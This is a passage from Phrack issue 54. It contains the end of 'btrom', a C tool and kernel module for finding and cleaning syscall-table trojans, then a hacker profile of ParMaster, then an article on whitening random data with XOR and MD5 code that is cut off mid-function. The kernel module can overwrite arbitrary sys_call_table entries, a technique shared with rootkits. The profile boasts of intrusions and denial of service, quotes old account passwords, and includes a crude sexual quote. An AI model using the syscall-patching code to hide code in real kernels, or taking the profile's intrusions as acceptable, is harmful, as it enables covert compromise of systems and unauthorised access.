**********************************************************************/
int primer_recorrida(int j)
{
	char nombre[50];
	int address;
	int i,old_clean,clean;
	unsigned int retval;
	char c;

	old_clean=clean=0;
	printf( "\n1st part: Detect trojans\n"	
		"                     [ ]=OK [N]=Null [-]=btrom\n"
		"                             [?] Mmm...syscall\n"
		"        Address          [*][!]=trojan routine\n"
		"  now   System.map Num [ ] Syscall Name\n"
		"----------------------------------------------\n");

	for( i=0; i< NR_syscalls; i++ ){
		__asm__ volatile (
			"int $0x80":"=a" (retval):"0"(j),
			"b"((long) (i)),
			"c"((long) (0)),
			"d"((long) (0)));

		clean = comun_1er_2da(j,i,nombre,&c,clean,retval);
		if( !quiet || clean > old_clean ) {
			if( nombre[0]!=0 ) {
				if( sm && sm_busca_x_nombre(&address,nombre)) {
					if(retval!=address && retval < big_kernel + LIMITE_SYSCALL) {
						dif_n_s++;
						printf("%8x!%8x %3i  [%c] %s\n",retval,address,i,c,nombre);
					} else printf("%8x %8x %3i  [%c] %s\n",retval,address,i,c,nombre);
				} else printf("%8x          %3i  [%c] %s\n",retval,i,c,nombre);
			} else printf("%8x          %3i  [%c]\n",retval,i,c);
			old_clean = clean;
		}
	}
	return clean;
}

/**********************************************************************
	segunda_recorrida: Limpiar troyanos
**********************************************************************/
int segunda_recorrida(int j)
{
	char nombre[50],dire[50];
	int address;
	int i,old_clean,clean,retval,key;
	char c;
	unsigned int k;


	old_clean=clean=0;
	printf( "\n2nd part: Clean Trojans\n"
		"                 s = System.map address\n"
		"                      c = clean address\n"
		"                     m = manual address\n"
		"                             i = ignore\n"
		"  now   System.map Num [ ] Syscall Name\n"
		"---------------------------------------\n");

	for( i=0; i< NR_syscalls ; i++ ){
		__asm__ volatile (
			"int $0x80":"=a" (retval):"0"(j),
			"b"((long) (i)),
			"c"((long) (0)),
			"d"((long) (0)));

		clean = comun_1er_2da(j,i,nombre,&c,clean,retval);
		if( clean > old_clean ) {
			if( nombre[0]!=0 ) {
				if( sm && sm_busca_x_nombre(&address,nombre)) {
					if(retval!=address && retval < big_kernel + LIMITE_SYSCALL) {
						dif_n_s++;
						printf("%8x!%8x %3i  [%c] %s <s/c/m/I>?",retval,address,i,c,nombre);
					} else printf("%8x %8x %3i  [%c] %s <s/c/m/I>?",retval,address,i,c,nombre);
				} else printf("%8x          %3i  [%c] %s <c/m/I> ?",retval,i,c,nombre);
			} else printf("%8x          %3i  [%c] <c/m/I> ?",retval,i,c);
			old_clean = clean;
			
			fseek(stdin,0L,SEEK_END);
			key=fgetc(stdin);
			switch(key) {
				case 's':
					k = address;
					break;
				case 'c':
					k = SYS_NULL;
					break;
				case 'm':
					printf("Enter an hexa address (ex: 001a1b):");
					fseek(stdin,0L,SEEK_END);
					fgets( dire,50,stdin );
					k = strtoul(dire,(char **)NULL,16);
					break;
				default:
					k=1;
					break;
			}
			/* FIXME: 1 no se puede poner como address */
			if(k!=1)
				__asm__ volatile (
					"int $0x80":"=a" (retval):"0"(j),
					"b"((long) (i)),
					"c"((long) (1)),
					"d"((long) (k)));
		}
	}
	return clean;
}

void help()
{
	printf(	"\nUsage: btrom nr_of_mbtrom [-c][-v]\n"
		"\t1) Install the module mbtrom with`insmod mbtrom'\n"
		"\t2) The module must return a value.If not see the README->bugs\n"
		"\t   btrom value_returned_by_mbtrom [-c][-v]\n"
		"\t   `v' is verbose. Recommended\n" 
		"\t   `c' is clean. Cleans the trojans\n"
		"\t3) Uninstall the module mbtrom with 'rmmod mbtrom'\n"
		"\n"
		"\tExamples:\n"
		"\t btrom 215 -cv\n"
		"\t btrom 214 -v\n"
		"\t btrom 215\n"
		"\nWarning: Dont put random numbers. Be careful with that!"
		"\nRecommended: Do `btrom _number_ -v' before a cleaning\n\n"
		);
	exit(-1);
}

void chequear_argumentos( char *parametros )
{
	int i,j;
	i=strlen(parametros);

	if(parametros[0]!='-') help();

	for(j=1;j<i;j++) {
		switch(parametros[j]) {
			case 'c':
				borrar = 1;
				break;
			case 'v':
				quiet = 0;
				break;
			default:
				help();
		}
	}
}

int main(int argc, char **argv, char **envp )
{
	unsigned int retval;
	int clean;
	int i;

	printf( "\n\n"
		"b t r o m                          b y   r i q\n"
		"v"VERSION"\n");

	if(argc <2 || argc >3 ) help();

	quiet = 1; borrar = 0 ;
	if( argc==3) chequear_argumentos(argv[2]);

	au = au_open();
	sm = sm_open();
	if(!au && !quiet)	
		printf("Error while opening `asm/unistd.h' in `"ASM_UNISTD"'\n");
	if(!sm && !quiet)	
		printf("Error while opening `System.map' in `"SYSTEM_MAP"'\n");

	dif_n_s=0;


	/* __NR_mbtrom number */
	i = atoi( argv[1] );
	if(!i)
		help();

	/* Chequeo si es BIG_KERNEL o no */
	__asm__ volatile (
		"int $0x80":"=a" (retval):"0"(i),
		"b"((long) (0)),
		"c"((long) (2)),
		"d"((long) (0)));

	big_kernel =(retval>BIG_KERNEL?BIG_KERNEL:SMALL_KERNEL);

	/* Primer recorrida */
	clean = primer_recorrida( i );

	/* Mensaje del senior btrom */
	printf( "\nb t r o m   s a y s:\n");
	if(dif_n_s>0) {
		printf( "Your System.map seems to have a problem.\n");
		if(dif_n_s<SYSMAP_LIMIT)
			printf( "Wait. Perhaps this is not a System.map problem,\n"
				"but something related with the new functions names.\n"
			);
		else
			printf( "Are you sure that you have a valid System.map ?\n");
		if(clean)
			printf( "Oh no! The problem is the trojan that you have ;-)\n");
	}	

			
	if(!clean) {
		printf( "You system call table seems to be clean.\n");
		if(quiet)
			printf("If you want to be more sure use the `-v' option\n");
	} else {
		printf( "\nWhat do you want to do with the trojan?\n"
			"What about cleaning it with `btrom _numero_ -c'?\n" );
	}


	/* Ah borrar los troyanos se ha dicho */
	if(borrar && clean) {
		if(au)
			fseek(au,0L,SEEK_SET);
		if(sm)
			fseek(sm,0L,SEEK_SET);

		segunda_recorrida( i );
	}


	if(au)
		fclose(au);
	if(sm)
		fclose(sm);

	return 0;
}
<-->
<++> linenoise/btrom/config.h
/*
	config.h
	usado por btrom.c y mbtrom.c
*/


/*
	Modificar segun los gustos 
*/

/* Numero que uno supone que esta vacio en la sys_call_table */
#define NUMERO_VACIO 215

/* Path al archivo System.map */
/* Si Ud. nunca compilo el kernel tal vez sea /boot/System.map */
/* FIXME: Usar el define del Makefile para no definir esto en 2 partes */
#ifndef SYSTEM_MAP
 #define SYSTEM_MAP "/usr/src/linux/System.map"
#endif

/* Hay problemas con old y new. Gralmente no es problema de la System.map */
#define SYSMAP_LIMIT 8


/* Path al archivo asm/unistd.h */
#define ASM_UNISTD "/usr/include/asm/unistd.h"

/* Prefijo a buscar en asm/unistd.h*/
#define AU_PREFIX "#define*__NR_*" 

/* Hasta donde llega el kernel space */
/* FIXME: No se cual es el limite realmente. Igual con esto anda :-) */
#define LIMITE_SYSCALL 0x00300000 

/*
	No modificar
*/ 
/* Version del btrom */
#define VERSION "0.3"

/* BIG_KERNEL y SMALL_KERNEL*/
#define BIG_KERNEL 0xc0000000
#define SMALL_KERNEL 0x00100000
<-->
<++> linenoise/btrom/mbtrom.c
/*
 * modulo del btrom - Borra Trojanos Modulo
 * 25/11/98 - por Riq
 * 
 * compile with:
 *   gcc -c -O3 -fomit-frame-pointer mbtrom.c
 * 
 */
#define MODULE
#define __KERNEL__

#include <linux/config.h>
#ifdef MODULE
#include <linux/module.h>
#include <linux/version.h>
#else
#define MOD_INC_USE_COUNT
#define MOD_DEC_USE_COUNT
#endif

#include <syscall.h>
#include <linux/string.h>
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/mm.h>
#include <linux/malloc.h>
#include <linux/dirent.h>
#include <linux/sys.h>
#include <linux/linkage.h>
#include <asm/segment.h>

#include "config.h"
#include "sys_null.h"

extern void *sys_call_table[];

int __NR_mbtrom;

int* funcion( int numero, int modo, unsigned int *address )
{
	switch(modo){
		case 0:
			return sys_call_table[numero];
			break;
		case 2:
			return (void *)&sys_call_table;
		case 1:
		default:
			sys_call_table[numero]=address;
			break;
	}
	return (void *)0;
}

int init_module(void)
{
	__NR_mbtrom = NUMERO_VACIO ;

	/* Chequea direccion vacia desde NUMERO_VACIO hasta 0 */
	while ( __NR_mbtrom!= 0 &&
		sys_call_table[__NR_mbtrom] != 0 &&
		sys_call_table[__NR_mbtrom] != (void *)SYS_NULL )
		__NR_mbtrom--;
	if(!__NR_mbtrom ) { /* Si es 0 me voy */
		printk("mbtrom: Oh no\n");
		return 1;
	}
		
	sys_call_table[__NR_mbtrom] = (void *) funcion;


	if( __NR_mbtrom != NUMERO_VACIO )
		printk("mbtrom: Mmm...\n");
	printk("mbtrom: -> %i <-\n",__NR_mbtrom);
	return 0;
}

void cleanup_module(void)
{
	sys_call_table[__NR_mbtrom] = 0;
	printk("mbtrom: Bye.\n");
}
<-->
<++> linenoise/btrom/sys_null.awk
/sys_ni_syscall/ { print "#define SYS_NULL 0x"$1 }
<-->

0x6>-------------------------------------------------------------------------

----[  PDM

Phrack Doughnut Movie (PDM) last issue was `Miller's Crossing`.

PDM53 recipients:

    None of you suckers.  Go rent it.  It's well worth your time.

PDM54 Challenge:

    "I have John Murdock...  In mind..."

0x7>-------------------------------------------------------------------------

----[  Super Elite People That REad Phrack (SEPTREP)

New addiitons:      Ron Rivest, W. Richard Stevens
Why they are SEP:   One is the `R` in RSA.  The other writes TCP/IP bibles.

----[  Current List

W. Richard Stevens
Ron Rivest

-----------------------------------------------------------------------------

----[  EOF


--------------------------------------------------------------------------------


----[  Phrack Magazine  Volume 8, Issue 54 Dec 25th, 1998, article 04 of 12


-------------------------[  P H R A C K     5 4     P R O P H I L E


-----------------[  Personal


              Handle: ParMaster
            Call him: Ishmael?  SHALL WE PLAY A GAME?
           Reach him: Through the grapevine
        Past handles: Trouble Verify, Immediate Lee, Bad Karma, Thoth,
                      Optomystic, (The) Omicron
       Handle origin: (Quote from Underground page #104) "Par had got his full
                      name  -The Parmaster- in his earliest hacking days.
                      Back then, he belonged to a group of teenagers involved
                      in breaking the copy protections on software programs
                      for Apple IIe's, particularly games.  Par had a
                      special gift for working out the copy protection
                      parameters, which was a first step in bypassing the
                      manufacturers' protection schemes.  The ringleader
                      [sc0tch] of the group [Jedi Hackers] began calling
                      him 'the master of parameters' -The ParMaster- Par,
                      for short.  As he moved into serious hacking and
                      developed his expertise in X.25 networks, he kept the
                      name because it fitted nicely in his new environment.
                      'Par' was a common command on an X.25 pad, the modem
                      gateway to an X.25 network."
       Date of birth: NOT January 15th!
 Age at current date: 27
              Height: 5'11"
              Weight: 202 lbs
           Eye color: Brown
          Hair color: Brown (Blonde highlights)
           Computers: Dell 320n 386 laptop, Walkabout vt100 terminal with
                      built-in 2400 baud modem.
   Sysop/Co-Sysop of: DarkF0RCE  
            Admin of: [Withheld]
                URLs: http://altavista.digital.com  - search - "parmaster" - 
                      - submit - read.


----------------[  Favorite things 

               Women: Blondes with blue / green eyes.  Chicks in skimpy clothes 
                      with accents.
                Cars: Ferrari and Porsche clubs :-), anything with a jet 
                      engine on it.
               Foods: Chinese, got to have my chinese food. Calamari, Duck, 
                      Quail, most seafood. 
             Alcohol: Now, we're talkin'. Jim Beam, Jack Daniels, Crown Royal, 
                      Jose Cuervo / Dos Realis, and last but certainly not
                      least Finlandia!
               Music: The The, The Dickies, Underworld, Kraftwerk, Chemical
                      Brothers, Crystal Method, El Dubarge, CCCP.
              Movies: They Live, A fish called wanda, 13 Monkees, Little
                      Trouble in Big China, 5th Elemental, True Lies,
                      Killer Klowns from Outer Space, Eraser, Under
                      Siege, Tetsuo Ironman, WarGames, and Sneakers.  
             Authors: Immanuel Velikovsky, Piers Anthony, Terry Brooks, James
                      Gardner, J.R.R. Tolkien and please forgive me for
                      anyone i'm missing.  
            Turn Ons: Traveling in my mind with someone i love.
            Turn Offs: Pain, agony, hurting and torture.


----------------[  Passions

I enjoy scrying the future and doing the great work.  This is a very difficult
thing to describe in itself.  Some of you who know me well enough can see it
every once in a while.  I'm no artist, but i attempt to do it and sometimes it
expresses itself in artistic ways.

I love hanging out with my friends, sometimes i need to be alone, but time
i spend with my friends is always special.


----------------[  Memorable experiences

When the US Secret Service raided me in 1991 and took all my stuff (the 3rd
time) including the credit reports of the President (iffie) and Vice President
(definitely) of the United States of America.  I was in jail in New York
waiting for transport, and was never really threatened or hurt, except once
and it was a major incident for me but i don't think it was influenced by
anyone.

When i did an interview for Coast Weekly Magazine in Monterey County in
1993, after this issue came out things really fell apart for me, people
started being really mean and really dangerous people started doing really
harmful things around me.  This article was my one 'play article'.  I
mentioned a lot of stuff that was currently going on, including the Clinton
Administration's use and promotion of the new Clipper Chip device.. I wonder
why the guys who did a play article for the San Jose Mercury News didn't
receive the same treatment.  My relatives always told me life isn't fair,
until this time i had plenty of reasons to beleieve that but never did.
Incidents following this made me really question how the United States was
changing.  It especially made me question who is running the world nowadays
and who they made a decision to hire under them to work in various agencies.
Everything just seemed to have more style before.  However, there are also a
lot of cool things with style brought about by this, which may be worth the
hardships in their value.

Using sprite to send an out of bounds packet to port 139 of trv-psitech.com,
the server was down for a little bit, a day or two.  The error it responded
with, "Parameter not found".

Creating IRAQ-DEFENSE password PARMASTERG0TTHEM! on tymnet while i was "in".
I'm not sure what effect this had during the time i had set it up during
Operation Desert Shield.  I put it out into the computer underground globally
promoting it as an iraqi system i had found.  What effect this may have had
during that time i still do not know.  Logically all i can assume is that it
managed to put a lot of hackers who tried it, in one place at the time when
they connected to it.  As well as promote and possibly move them toward being
aware of any enemy computers they may have hacked.  Indeed, on the boards
i was confronted about it... Specifically by Crimson Death who stated in the
posts that it was, in fact, not an iraqi system at all.  Interestingly enough
in following posts people responded *WITH* actual network addresses and
hosts of iraqi systems.  Too bad at the time all communications were cut.
Most certainly, their access to the outside worlds computers was at least
partially if not totally through Bahrain.  Every once in a while i would
periodically check on tymnet's bahrain gateway and monitor traffic there.
For those of you who wonder why i did this, i don't know... I can honestly say
I wasn't in conscious control of what i was doing.  I have some theories about
why, some include a higher power others include some pretty crazy stuff like
mind control.  I'm leaning somewhat towards the latter because i had some
severe memory problems.  I could not remember anything about this until I
was on a phone interview with Joshua Quittner for the Masters of Deception
book, why at that time I recalled it i do not know.  I do know that prior
to this time in searching through my memory fervently that I had not
previously at any other time after 1990 thought about or recollected my
actions then.  The only thing i remembered was creating ParMasterX75 nui
Password par=tymnet gawd! and that was because the account I had used to
make IRAQ-DEFENSE had mysteriously changed its properties and now was
connected to place calls on the global data network.  Prior to that it had
only been able to connect to the select hosts of the WEFA group, its rightful
owner.  I only became aware of this because of Corrupt [MOD] pointing out that
I should list out what accounts were active. .. i then saw that he had created
an account which could be used to place data calls.  John apparently did
not know that the properties of the account's access had changed and that
it did not have access to do things like that before, if he did he was not
offering that knowledge, or even better he may have changed it :-).

Disneyland.


----------------[  Boards to mention

The board that Mr. Zod set up on the 202 sprintnet system owned by AFOSI and
used to train them on how to catch computer hackers *GUFFAW*, my I wonder
if they ever found out?  Weren't we why they called it that?  ROFLMFAO

DarkF0RCE, I wonder whatever happened to Derek..  One Man Army..  Hmm, like
people are posting these PC Pursuit codes on our board, i wonder where
they came from?  Phear P0STMASTER's ACOS skills.  ROFLMFAO

Pegasus, this BBS run on a VAX in switzerland ended up turning out to be part
of a sting operation involving law enforcement in europe....  Why do all these
k-k00l codes still work tho?

Unphamiliar Territories, invalid media's board.  Managed to collect together
quite a few people with talent as well as some really stupid asshole narks.
Can anyone say PMF?

Bullet, wherever it is...  There you are.

BlackNET, so much has been said about this one in circles its not funny.  No
one knows where it is or how to connect to it? I wonder why...  I'm confused.

Fuck QSD Channel.

Sectec, this board was always an old stand-by for me when the internet was
taking off..  Now boards with discussions on packet switched nets like it
aren't around.  Or, if they are they are hidden and not openly promoting
themselves.  Most likely, they are somewhere on the internet...It's probably
just me... but i don't trust the internet...  at all.

ALTGER, altos computer systems munich.... i know far too many people from this
board in real life now.  12 years ago I never would have thought that this
would occur or feasibly see how this would happen.  It's still mind-boggling
to me.  Old skool Apple warez crew: Blue Adept [213], Ubiquitous Hacker,
Hollywood, Vampire, Pirette.  Others: Piper, Dr. Who, Shatter, Theorem, Nora,
and Nasa Pilot.

ALTHH, altos computer systems hamburg (later Markt and Technic... tchh), same
as altger but I spent MUCH MUCH more time here.  I think this is where I got
the magic.  THE crew: Floyd, TTM, Necrovore-Skyhook-backlash-LineShadow-
TouchTone [Xtension], jumpingjackflash, Lutz Pelikan, camelot, pad-gandalf-
fusion-power-etc [8LGM], Force-Phoenix-Nom-etc [The Realm], anthrax, there
are too many people to list here forgive me if I left you out.  You know
who you are. 

The Phoenix Project, what a cool place, where else could I tease Sandy
Sandquist about FTS.

Illuminati BBS, my account was short lived and i logged in maybe twice.  But
where else could i see the latest on AD&D games with, The Mentor, Erik
Bloodaxe, etc.

The initial r00t homepage, boy was this a funny joke.  Wait, i'm at a con
and now its all real and there's like 40 people here.  These people are
smart and make lots of money. Hosaka and T3...  You could not have known it
would turn into this.  r00t people who kick ass: Number one for all time -
glyph a.k.a necrovore, alhambra, oghost, redragon [tacobell.com], and daemon9.
  
Ripco, well I wasn't on here a lot but it played such an important part in the
computer underground over the years i have to at least mention it.  It must
have also been my first exposure to l0ck.  Tons of other people here, this
place kept lots of Text files circulating in the underground that might
have otherwise been lost.


----------------[  Quotes

"I didn't mean for your daddy to spooge all over the minnie mouse pillow on
your bed, it wasn't my fault, i told him he could cum in my ass" -- Vamprella

"No." -- Agent Steal
 
"Remember when i did that class change for you?" -- U4EA

"How did you know i was gonna say that about butter?" -- Nirva

 "I got approval from Uli to start Chaos Computer Club West, want to be in
it?" -- Doc Holiday

"Bilbo Baggins, how are youuuuuu" -- Torquemada

----------------[  The future of the computer underground

The future?  Hmm.  Am I the guy to ask?  Maybe.  Things have changed a lot,
the only thing constant is change.  It seems there is less chivalry nowadays.
The government and corporations painted a picture of us.  That picture is
not a pretty one.  They even have a general psychiatric profile we are all
supposed to fall into.  Movies, like "Hackers" portray us a certain way
also.  Kids just starting out, see this and immediately it becomes the way
the underground is.  The Masters of Deception also promoted this image of
the Computer Underground.  We end up fighting ourselves more than working
together to accomplish goals.  I remember a time when things weren't like
that.  There was very little confrontation between hackers, and information
flowed freely.  If you ask me, its all a big conspiracy :-).  A big conspiracy
to keep hackers seperated and fighting among themselves.  People like to talk
to me about the good old days.  Thats all well and good, but those days are
over.  There can still be another golden age in the Computer Underground.
The only thing stopping it, is you.


----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 8, Issue 54 Dec 25th, 1998, article 05 of 12


-------------------------[  Linux and Random Source Bleaching 


--------[  Phunda Menta <phundie@usa.net>



----[  Introduction

Random numbers are often used in cryptography, but good random bits can be
hard to come by.  Linux has two useful pseudo-devices called /dev/random and
/dev/urandom.  Catting /dev/random yields a small pool of random bits obtained
from internal system state.  If you cat this output to your terminal and bang
on some keys, you'll notice that you get more random bits.  Disk drive
accesses, IRQ timings, and key presses; all of this stuff gets hashed into
a small pool of entropy that can be accessed directly from /dev/random.
/dev/urandom is a stream that hashes /dev/random, and gives you that hash
value; then it hashes the last hash and the pool forever.  Both give a
decent source of random bits.  By default, /dev/urandom uses SHA (I know
the source comments claim MD5, but if you look at the code, it is SHA).

So /dev/urandom is a decent source of pseudo-random bits.  /dev/random
is better, but it is of limited size.

These are very useful, but what we really want is a hardware source of random
bits. 


----[  The Hardware Solution

Most computers have sound cards these days, and a sound card is a
great source of potential entropy. 

Unplug the microphone from your soundcard and cat /dev/audio to a file.
Sample maybe 2 or 300k of data.  Now play it back, if it sounds like static,
you can skip ahead to cleaning up the source.  You can also try plugging a
1/8th jack (or whatever you use for input) that has dead-end leads into
the mic port.  Try both of these methods and find one that gives a clean
static hiss.

Chances are that on playback all you have is silence, but we want static.
Static is random, and randomness is our goal here, so grab an FM radio and
tune it to the high end, around 106 or 107 MHz.  Find a frequency that gives a
good clean hiss, an analog tuner is best for this.  If you have a digital
tuner and can't get the precision needed to tune-in a good static source then
get the best static you can, but you might have a harder time cleaning up this
source.  If your signal has a high-pitched tone present you can clean this out
in a few different ways.  The easiest is to use software to strip out that
frequency.  There is a family of programs for Linux that can help with this
(Bio, Mammut, and Ceres).  These programs allow very good visualization of the
signal and they also allow you to pull the signal apart and isolate different
frequencies.  Chances are you will have a bunch of junk in the 60 Hz region,
probably due to EMI (electro-magnetic interference) from power supplies, along
with whatever is giving you that tone.

In either case you should shield your FM receiver and the audio cable to avoid
EMI.  You may be able you shield your soundcard, but I am skeptical of the
worth of this.  A lot of electronics supply houses sell shielding wrap and
preshielded cables.  You can also try aluminum foil.  I haven't had much luck
with aluminum foil, but some people swear by it. 

Once you have your source set up, jack it into your sound card and sample it
at 44 kHz.  Run the results through the Diehard testing package (a battery of
tests to evaluate the strength of random number generators).  Your source
won't pass the test.

Clean up your source bytes however you need to.  Strip out any 60 Hz junk with
Mammut by using the Transform|Filter options, you can then use the
Transform|Phase Shift option to slide the wave form back into place so that
there is no gap at 60 Hz.  If your static source has a small amplitude, crank
it up by increasing the hardware gain, or use Mammut to change the derivative
or the effective gain, whichever you like.  I have found no empirical evidence
to suggest that one way works better than the others, but, theoretically,
changing the slope may be a Bad Thing (tm).  You may also want to use the
Phase Shift and Threshold options to chop up your signal.  You can
resynthesize the parts and save them back out.  Listening to these parts, and
graphing them can help give you an idea of what other things your source
signal is doing. 

If push comes to shove, and you can't weed out all of the bias, or if you need
a more hands-free way to clean up the source (and don't have the time or skill
to write custom filters) you can just use a cryptographic hash.

After you clean up your source, take a look at it with ceres or bio, if the
output looks like video static with no noticeable patterns or hot/cold areas
then you have sufficiently cleaned up the signal, now you can move on to
bleaching the static for use as a random number stream.

As a side note, if you ever want to see what a good random distribution is
supposed to look like, you can also use output from /dev/urandom.  Use sox
(stock with Redhat distros) to convert the output stream of /dev/urandom
(use a type of 'ul') to AIFF for mammut, or ceres or whatever.  The
distribution given by /dev/urandom is statistically random so it will tell us
what to look for, but /dev/urandom (SHA, basically) is still pseudo-random
since complete knowledge of the previous inputs allows us to calculate all
future outputs.  This is not so with static.


----[  Bleaching the data stream

The static coming out of your FM source is skewed white noise.  We need to
clean it up, so we bleach it.

RFC1750 gives a slew of methods to clean up your source.  One of the simplest,
effective methods of whitening a source is to XOR all the bits in a byte
together, yielding one output bit.  These bits are then reconstructed into
a byte and output.  This method has a few advantages.  The first big advantage
is that you know precisely how many bytes you need to sample in order obtain a
certain number of output bytes.  XORing is also fast, and easy to implement.

Another method of deskewing data is attributed to John von Neumann in RFC1750.
This method is called transition mapping.  Transition mapping is a relatively
simple process.  We take two bits from our input.  If this bit sequence is 01
or 10 we output a 0 or a 1, respectively. The sequences 00 and 11 are
discarded.  This method completely deskews a stream of data at the expense
of needing an unknown number of input bits.  Transition mapping is also a
very fast process, and on a lightly skewed input transition mapping can yield
more output bits than XOR.

Both XOR and transition mapping are fast processes that are good enough to
deskew a set of bits such that they will pass the Diehard suite of tests,
if the input is suitably clean and random.  If the input is somehow correlated,
you will have a harder time getting it to pass Diehard.  I have found that
correlated sources can be cleaned up by XORing the output of an XOR
distillation with the output of a transition mapped distillation.

Slower constructions can be created out of cryptographic hash functions,
but may be trusted more by the paranoid.  Hash functions are also recommended
if an attacker has the means to somehow affect your random source.  If you
are worried about this attack, a good way to solve it is with appeal to
/dev/random.  Use a block cipher such as 3DES to encrypt your random
source with a key and initialization vector obtained from /dev/random.  If an
attacker can bias your source in a predictable way, he still has no idea
what bytes you may be using for your actual random numbers.  Skew that the
attack may introduce into your hardware can first be cleaned with a process
like transition mapping and then pumped through a looped hash function or a
block cipher. 

The output of a (decent) hash function or block cipher will pass the
Diehard tests. 

In a heavily used machine, where the entropy pool used by /dev/random will be
updated frequently, the output from the above processes can be XORed byte
for byte with the stream from /dev/urandom.  This is a simple method to mix
the streams together for added security.  Another method would be to hash
N/2 bytes from /dev/urandom and N/2 bytes from your source together, where
N is the number of bytes that your hash function will yield.

All of these methods are suitable to deskew a data set, but they should not be
used blindly.  Before putting the resulting bits to use, examine several
samples with Diehard and graphic or spectral tests.

I have included code to do XOR, transition mapping along with hashing
mechanisms..  I have plenty of code to do other hash and block cipher based
stuff too, but I did not include that here because the code is not
self-contained (it needs some crypto libs).

If you want to contact me about the code or if you have some comments or
suggestions, I can be reached at phundie@usa.net.


----[  References and Related stuff:

RFC1750 Randomness Recommendations for Security
	http://www.kobira.co.jp/document/rfc/RFC1750.txt

Diehard Test Suite
	http://stat.fsu.edu/~geo/diehard.html

Pseudo-Random Number Conditioning
	http://www.clark.net/pub/cme/html/ranno.html

Linux MIDI & Sound Applications (has links to Mammut, Bio and Ceres)
	http://www.bright.net/~dlphilp/linux_soundapps.html

----[  The code


<++> bleach/Makefile
all:
	gcc -w -c md5/md5.c
	gcc -c sha/shs.c
	gcc -o sha_distill sha_distill.c shs.o 
	gcc -o md5_distill md5_distill.c md5.o
	gcc -o xor_distill xor_distill.c
	gcc -o transmap transmap.c
<-->

<++> bleach/md5/md5.c
/*
 ***********************************************************************
 ** md5.c -- the source code for MD5 routines                         **
 ** RSA Data Security, Inc. MD5 Message-Digest Algorithm              **
 ** Created: 2/17/90 RLR                                              **
 ** Revised: 1/91 SRD,AJ,BSK,JT Reference C ver., 7/10 constant corr. **
 ***********************************************************************
 */

/*
 ***********************************************************************
 ** Copyright (C) 1990, RSA Data Security, Inc. All rights reserved.  **
 **                                                                   **
 ** License to copy and use this software is granted provided that    **
 ** it is identified as the "RSA Data Security, Inc. MD5 Message-     **
 ** Digest Algorithm" in all material mentioning or referencing this  **
 ** software or this function.                                        **
 **                                                                   **
 ** License is also granted to make and use derivative works          **
 ** provided that such works are identified as "derived from the RSA  **
 ** Data Security, Inc. MD5 Message-Digest Algorithm" in all          **
 ** material mentioning or referencing the derived work.              **
 **                                                                   **
 ** RSA Data Security, Inc. makes no representations concerning       **
 ** either the merchantability of this software or the suitability    **
 ** of this software for any particular purpose.  It is provided "as  **
 ** is" without express or implied warranty of any kind.              **
 **                                                                   **
 ** These notices must be retained in any copies of any part of this  **
 ** documentation and/or software.                                    **
 ***********************************************************************
 */

#include "md5.h"

/*
 ***********************************************************************
 **  Message-digest routines:                                         **
 **  To form the message digest for a message M                       **
 **    (1) Initialize a context buffer mdContext using MD5Init        **
 **    (2) Call MD5Update on mdContext and M                          **
 **    (3) Call MD5Final on mdContext                                 **
 **  The message digest is now in mdContext->digest[0...15]           **
 ***********************************************************************
 */

/* forward declaration */
static void Transform ();

static unsigned char PADDING[64] = {
  0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

/* F, G, H and I are basic MD5 functions */
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define I(x, y, z) ((y) ^ ((x) | (~z)))

/* ROTATE_LEFT rotates x left n bits */
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))

/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4 */
/* Rotation is separate from addition to prevent recomputation */
#define FF(a, b, c, d, x, s, ac) \
  {(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
   (a) = ROTATE_LEFT ((a), (s)); \
   (a) += (b); \
  }
#define GG(a, b, c, d, x, s, ac) \
  {(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
   (a) = ROTATE_LEFT ((a), (s)); \
   (a) += (b); \
  }
#define HH(a, b, c, d, x, s, ac) \
  {(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
   (a) = ROTATE_LEFT ((a), (s)); \
   (a) += (b); \
  }
#define II(a, b, c, d, x, s, ac) \
  {(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
   (a) = ROTATE_LEFT ((a), (s)); \
   (a) += (b); \
  }

/* The routine MD5Init initializes the message-digest context
   mdContext. All fields are set to zero.
 */
void MD5Init (mdContext)
MD5_CTX *mdContext;
{
  mdContext->i[0] = mdContext->i[1] = (UINT4)0;

  /* Load magic initialization constants.
   */
  mdContext->buf[0] = (UINT4)0x67452301;
  mdContext->buf[1] = (UINT4)0xefcdab89;
  mdContext->buf[2] = (UINT4)0x98badcfe;
  mdContext->buf[3] = (UINT4)0x10325476;
}

/* The routine MD5Update updates the message-digest context to
   account for the presence of each of the characters inBuf[0..inLen-1]
   in the message whose digest is being computed.
 */
void MD5Update (mdContext, inBuf, inLen)
MD5_CTX *mdContext;
unsigned char *inBuf;
unsigned int inLen;
{
  UINT4 in[16];
  int mdi;
  unsigned int i, ii;

  /* compute number of bytes mod 64 */
  mdi = (int)((mdContext->i[0] >> 3) & 0x3F);

  /* update number of bits */
  if ((mdContext->i[0] + ((UINT4)inLen << 3)) < mdContext->i[0])
    mdContext->i[1]++;
  mdContext->i[0] += ((UINT4)inLen << 3);
  mdContext->i[1] += ((UINT4)inLen >> 29);

  while (inLen--) {
    /* add new character to buffer, increment mdi */
    mdContext->in[mdi++] = *inBuf++;

    /* transform if necessary */
    if (mdi == 0x40) {
      for (i = 0, ii = 0; i < 16; i++, ii += 4)
        in[i] = (((UINT4)mdContext->in[ii+3]) << 24) |
                (((UINT4)mdContext->in[ii+2]) << 16) |
